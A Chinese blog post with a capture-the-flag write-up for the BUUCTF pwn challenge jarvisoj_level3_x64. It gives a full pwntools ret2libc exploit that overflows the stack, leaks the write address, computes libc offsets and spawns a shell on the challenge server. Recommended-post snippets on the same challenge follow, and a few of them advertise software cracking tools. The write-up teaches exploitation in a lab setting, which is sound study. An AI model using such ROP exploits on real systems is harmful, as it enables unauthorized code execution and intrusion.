BUUCTF-jarvisoj_level3_x64

jarvisoj_level3_x64 jarvisoj_level3_x64 使用checksec查看: 只开启了栈不可执行,应该是jarvisoj_level3的x64版本,直接放进IDA中看吧: 主函数中直接给出了漏洞函数,跟进查看: read()函数,存在栈溢出,和jarvisoj_level3的主要区别在栈上传参和寄存器传参。 exp: from pwn import * #start # r = process("../buu/jarvisoj_level3_x64") r = remote("node4.buuoj.cn", 阅读详情

checksec

 

IDA

很简单的程序,栈溢出

 

没有system (bin/sh) 

很明显了     64位的ret2libc3

EXP

老规矩的脚本

from pwn import *

#start
# r = process("../buu/jarvisoj_level3_x64")
r = remote("node4.buuoj.cn",29734)
elf = ELF("./33level3")
libc = ELF("./libc-2.23-64.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
rdi_addr = 0x4006b3
rsir15_addr = 0x4006b1

#attack
payload = b'M'*(0x80+8) + p64(rdi_addr) + p64(1) + p64(rsir15_addr) + p64(write_got) + b'M'*8 + p64(write_plt) + p64(main_addr)
r.sendlineafter("Input:\n",payload)
write_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b"/bin/sh"))

#attack2
payload = b'M'*(0x80+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendlineafter("Input:\n",payload)

r.interactive()

BUUCTF----jarvisoj_level3_x64 环境:WSL2,ubuntu16.04,python2 checksec文件: 这道题level3的思路一样,只是32位的程序改成了64位。 也就是说,在利用write函数泄露出libc的基地址时,需要用到寄存器来穿参数,write有三个参数,所以需要rdi,rsi,rdx三个寄存器,通过命令: ROPgadget --binary level3_x64 |grep "pop" 结果: 从图中可以看到只找到了rdi和rsi寄存器,没有rdx寄存器 尝试gdb程序: 在read函数下断点,可以看到rd 阅读详情

相关推荐

BUUCTF:jarvisoj_level3_x64(write up)

BUUCTF:jarvisoj_level3_x640x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 64位程序,仅开启栈不可执行保护 0x02 运行 输入一个字符串 0x03 IDA 字符串可输入长度可造成栈溢出 0x04 思路 没有提供system函数和"/bin/sh"的地址 第一次栈溢出泄露read函数地址来得到libc版本,从而获取system函数和"/bin/sh"的地址,并且返回主函数 这里有个难点就是参数需要放到对应

qq_44768749的博客 1107

BUUCTF jarvisoj_level3

切入点从泄露write函数入手。栈溢出漏洞,ret2libc。IDA Pro 静态调试。

红叶的博客 603

Field-Oriented Control (FOC) 矢量控制 磁场定向控制

Field-Oriented Control (FOC) 磁场定向控制(FOC),也称为矢量控制,是一种用于控制永磁同步电动机(PMSM)和交流感应电动机(ACIM)的技术。 FOC在整个扭矩和速度范围内都具有良好的控制能力。 FOC的实现需要将定子电流从固定参考系转换为转子磁通参考系(也称为d-q参考系)。 速度控制和转矩控制是FOC最常用的控制模式。位置控制模式不太常见。大多数牵引应用使用转矩控制模式,在该模式下,电动机控制系统遵循参考转矩值。在速度控制模式下,电机控制器遵循参考速度值,并生成用于形成内

>>> 1万+

[BUUCTF-pwn]——jarvisoj_level3_x64

简单的ret2libc通过vuln函数,我们可以看出程序中包含write和read函数,同时存在栈溢出。通过write泄露read的got表地址。进而获得libc,重新控制代码再次进行栈溢出即可获得shell。

Y_peak的博客 589

STM32进入HardFault_Handler时,如何找到问题所在?

当STM32进入HardFault_Handler时,定位问题发生的点

m0_60831979的博客 2150

西电计科数据库系统期末复习笔记

本人西电19计科,数据库系统98,这是复习期间整理的笔记,基本涵盖了课程全部重点,有需要的学弟学妹可以在复习的时候参考一下。

Polaris的博客 8597

buuctf中的jarvisoj_level3_x64

这题有两种做法,一种是用LibcSearcher搜索匹配的libc库,一种是用已有的libc库做,由于是64位程序,猜到libc库是libc.so.6,两种做法都需要进行两次栈溢出,第一次计算出libc的基地址,第二次注入system函数拿到shellcode。没发现后门函数,按shift+F12后也没发现/bin/sh地址,考虑泄露libc来拿到shell。首先拿到vulnerable函数地址:0x4005E6,方便后面二次溢出。首先拿到rdi,ret和rsi+r15的地址,方便后面调用write函数。

2301_79485835的博客 373

量化投资之工具篇一:Backtrader从入门到精通(1)-手把手教你零基础实现一个策略案例

Backtrader是重要的量化框架,本文记录学习该框架的笔记,内容主要基于Backtrader的网站指导文档。虽然该框架目前用于量化投资领域,但是可以作为数据处理的基本架构,进行改造后用于各种数据的处理,尤其适用于对原始数据处理完成后应用一定的策略进行预测以及可视化处理。 1、简介 Backtrader的特点,就是两点: 1、易于使用; 2、参见第1条。 那么如何使用Backtrader呢?比把大象装进冰箱复杂点,一共4步: 创建一个Cerebro引擎: 加入一个Strategy...

仓鼠王的博客 5万+

BUUCTF--pwn--jarvisoj_level3_x64【ret2libc_64】

BUUCTF--pwn--jarvisoj_level3_x64

qq_73149934的博客 790

U盘插入电脑时发出声音但不显示——编程解决方案

以上是一些常见的编程解决方案,帮助您解决U盘插入电脑时发出声音但不显示的问题。请注意,这些解决方案可能因不同的情况而略有不同,因此请根据您的具体情况进行调整和尝试。当您将U盘插入电脑时,如果您听到了连接声音,但是U盘却没有在文件资源管理器或桌面上显示出来,这可能是由于一些常见问题导致的。U盘的文件系统格式可能与您的计算机不兼容,导致无法正确识别。如果输出显示U盘的文件系统格式与您的计算机不兼容,您可以尝试重新格式化U盘或使用其他兼容的文件系统格式。其中,X是U盘的磁盘编号,Y是您想要分配给U盘的盘符。

ByteEchoX的博客 2463

利用autojs制作抢购支付宝消费劵的手机脚本

前期准备工作 1.打开支付宝,点击中间的抢消费券的广告 2.点击左上角,将抢购页面添加到首页 3.查看支付宝首页是否出现消费劵 . autojs代码 "auto"; functiontaskstart(){ sleep(1000); launchApp('支付宝'); toast("正在打开支付宝应用"); sleep(1000); varxf=textContains("消费").findOne().bounds(); ...

洛阳泰山的博客 1万+

[BUUCTF]PWN——jarvisoj_level3_x64

jarvisoj_level3_x64 附件 步骤: 例行检查,64位程序,开启了nx保护 试运行一下程序,看看大概的情况 64位ida载入,习惯性的检索字符串,没有发现可以直接利用的system,估计使用ret2libc的方法 从main函数开始看程序 function()函数 输入点buf明显的溢出漏洞,read之前已经调用过一个write函数了,可以利用它来泄露libc版本 利用过程 泄露libc版本 64位程序传参需要用到寄存器rdi,找一下设置rdi寄存器的指令 https://

mcmuyanga的博客 1828

【25届数字IC秋招总结】面试经验13——豪威科技面试

25届数字ic面试记录———豪威科技

lalala0635的博客 363

BUUCTF jarvisoj_level3_x64

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 568

基于STM32、HAL库的BMP585 气压传感器 驱动程序设计

define BMP585_I2C_ADDR_PRIMARY 0x76 << 1 /* 0x76地址左移一位 */#define BMP585_I2C_ADDR_SECONDARY 0x77 << 1 /* 0x77地址左移一位 *//* I2C句柄 *//* I2C地址 *//* 设置新的温度过采样率 *//* 设置新的滤波器系数 *//* 芯片ID *//* 清除温度过采样位 *//* 转换为hPa *//* 设置新的压力过采样率 *//* 设置新的电源模式 *//* 清除压力过采样位 */

corlin6688的博客 459

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

buuctf-pwn jarvisoj_level3_x64题解(学习过程持续更新)

这是一个关于64位栈溢出漏洞利用的自学笔记。通过分析level3_x64程序,发现存在read栈溢出漏洞,需要填充0x88字节数据覆盖返回地址。由于缺少system函数和/bin/sh字符串,使用LibcSearcher泄露write@got地址计算基址,进而获取system和/bin/sh地址。利用ROPgadget找到pop_rdi_ret等gadget构造ROP链,最终通过二次溢出执行system(“/bin/sh")获取flag。

2501_93570847的博客 319

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

BUUCTF jarvisoj_level3_x64 & jarvisoj_level4

64位ELF 开启了NX,其余全部关闭。IDA Pro 静态调试除了改成了64位似乎都没什么区别,gdb动态调试。

红叶的博客 737

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)

2301_76794844的博客 1309

BUUCTF(pwn)jarvisoj_level3_x64

这道题是一道简单的rop类型的题目,跟之前做的题目有一些差异:( 这是64位的需要一些额外的操作 ) 64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 这里我们使用 write 函数 来泄密 libc地址 ssize_t write(int fd,const void*buf,size_t count); 参数说明: f.

半岛铁盒的博客 581

【BUUCTF】jarvisoj_level3_x64,picoctf_2018_rop chain

【BUUCTF】jarvisoj_level3_x64 ROPgadget缺了rdx,对应的是输出的长度,要大于8 gdb调试可以看到rdx的值是0x200,足够大,不用管了 from pwn import* r=remote('node3.buuoj.cn',29628) libc=ELF('./libc-2.23.so') elf=ELF('./level3_x64') context.log_level = 'debug' context.arch = elf.arch pop_rdi=0x4006

m0_51251108的博客 277

BUUCTF PWN刷题笔记(持续更新!!)

64位,没有开启保护。点进去没发现明显的漏洞函数,考虑泄露libc基地址的rop构造。先看看有多少gadget估计也够用了。puts函数只接受一个参数,观看汇编看看用的哪个寄存器传输的参数。用的是edi。但是我们怎么找到so的版本呢,因为我们必须要知道so文件种puts函数的偏移量,才可以和泄露出puts的地址结合找到基址。可以用LibcSearch模块来搜索。libcsearch(符号,地址)新的心得:1.64位有效地址是6字节。2.libc.dump是LibcSearch的内置函数。

wlmt666的博客 1285

BUUCTF jarvisoj_level2_x64 wp

摘要:本文详细分析了64位系统下ROP攻击的实现方法,重点讲解了与32位系统在参数传递上的差异。通过BUUCTF jarvisoj_level2题目,展示了如何利用pop_rdi gadget设置寄存器参数,构造ROP链调用system函数获取shell。文章包含漏洞分析、偏移计算、gadget查找、payload构造等关键步骤,并对比了elf.symbols和elf.plt获取函数地址的区别,最后给出了完整的利用脚本及栈对齐问题的解决方案。该技术适用于NX保护开启但无其他防护措施的64位程序。

AEJL叁的博客,欢迎关注! 694
上一篇: BUUCTF-ez_pz_hackover_2016
下一篇: BUUCTF-jarvisoj_level4
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值